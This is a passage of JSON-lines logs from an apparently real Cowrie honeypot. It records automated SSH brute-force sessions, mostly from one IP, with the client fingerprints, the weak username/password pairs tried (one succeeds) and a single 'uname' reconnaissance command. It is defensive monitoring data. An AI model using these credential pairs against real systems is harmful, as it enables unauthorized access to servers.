es192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.283843Z","src_ip":"45.156.87.254","session":"7b7d78172c49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.586019Z","src_ip":"45.156.87.254","session":"7b7d78172c49","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.799829Z","src_ip":"45.156.87.254","session":"7b7d78172c49","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.803640Z","src_ip":"45.156.87.254","session":"7b7d78172c49","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.890544Z","src_ip":"45.156.87.254","session":"7b7d78172c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.895803Z","src_ip":"45.156.87.254","session":"7b7d78172c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.753148078918457,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:30.697532Z","src_ip":"20.123.41.163","session":"c8b04bf91c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60560,"dst_ip":"159.203.135.109","dst_port":22,"session":"27f55e0a859f","protocol":"ssh","message":"New connection: 45.156.87.254:60560 (159.203.135.109:22) [session: 27f55e0a859f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:35.288282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:35.293351Z","src_ip":"45.156.87.254","session":"27f55e0a859f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:35.381544Z","src_ip":"45.156.87.254","session":"27f55e0a859f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:35.635531Z","src_ip":"45.156.87.254","session":"27f55e0a859f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:36.877517Z","src_ip":"45.156.87.254","session":"27f55e0a859f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54176,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ec49af04de","protocol":"ssh","message":"New connection: 45.156.87.254:54176 (159.203.135.109:22) [session: e2ec49af04de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:40.648084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:40.708147Z","src_ip":"45.156.87.254","session":"e2ec49af04de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:40.791731Z","src_ip":"45.156.87.254","session":"e2ec49af04de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:41.175666Z","src_ip":"45.156.87.254","session":"e2ec49af04de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:42.262284Z","src_ip":"45.156.87.254","session":"e2ec49af04de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54190,"dst_ip":"159.203.135.109","dst_port":22,"session":"c30121b9e918","protocol":"ssh","message":"New connection: 45.156.87.254:54190 (159.203.135.109:22) [session: c30121b9e918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:46.210402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:46.242534Z","src_ip":"45.156.87.254","session":"c30121b9e918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:46.303225Z","src_ip":"45.156.87.254","session":"c30121b9e918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:46.790679Z","src_ip":"45.156.87.254","session":"c30121b9e918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.80.18.15","src_port":54392,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac54973f36e8","protocol":"telnet","message":"New connection: 47.80.18.15:54392 (10.17.0.5:23) [session: ac54973f36e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:47.564696Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:47.875821Z","src_ip":"45.156.87.254","session":"c30121b9e918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41972,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f6a6e627c1","protocol":"ssh","message":"New connection: 45.156.87.254:41972 (159.203.135.109:22) [session: 96f6a6e627c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:51.564098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:51.572256Z","src_ip":"45.156.87.254","session":"96f6a6e627c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:51.654055Z","src_ip":"45.156.87.254","session":"96f6a6e627c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:51.993278Z","src_ip":"45.156.87.254","session":"96f6a6e627c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:53.120291Z","src_ip":"45.156.87.254","session":"96f6a6e627c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41988,"dst_ip":"159.203.135.109","dst_port":22,"session":"176d924f2111","protocol":"ssh","message":"New connection: 45.156.87.254:41988 (159.203.135.109:22) [session: 176d924f2111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:56.919770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:56.926869Z","src_ip":"45.156.87.254","session":"176d924f2111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:57.013122Z","src_ip":"45.156.87.254","session":"176d924f2111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:57.343758Z","src_ip":"45.156.87.254","session":"176d924f2111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:58.438247Z","src_ip":"45.156.87.254","session":"176d924f2111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51154,"dst_ip":"159.203.135.109","dst_port":22,"session":"acad89bd6902","protocol":"ssh","message":"New connection: 45.156.87.254:51154 (159.203.135.109:22) [session: acad89bd6902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:02.682026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:02.687104Z","src_ip":"45.156.87.254","session":"acad89bd6902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:02.772068Z","src_ip":"45.156.87.254","session":"acad89bd6902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:03.038095Z","src_ip":"45.156.87.254","session":"acad89bd6902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:04.125305Z","src_ip":"45.156.87.254","session":"acad89bd6902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51162,"dst_ip":"159.203.135.109","dst_port":22,"session":"e955d1c2f7fc","protocol":"ssh","message":"New connection: 45.156.87.254:51162 (159.203.135.109:22) [session: e955d1c2f7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:08.338188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:08.342326Z","src_ip":"45.156.87.254","session":"e955d1c2f7fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:08.433794Z","src_ip":"45.156.87.254","session":"e955d1c2f7fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:08.691311Z","src_ip":"45.156.87.254","session":"e955d1c2f7fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:09.782566Z","src_ip":"45.156.87.254","session":"e955d1c2f7fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34826,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a9626826ae","protocol":"telnet","message":"New connection: 104.245.105.2:34826 (10.17.0.5:23) [session: 63a9626826ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:11.826636Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56222,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a6cb71e9370","protocol":"ssh","message":"New connection: 45.156.87.254:56222 (159.203.135.109:22) [session: 2a6cb71e9370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:13.465062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:13.470674Z","src_ip":"45.156.87.254","session":"2a6cb71e9370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v0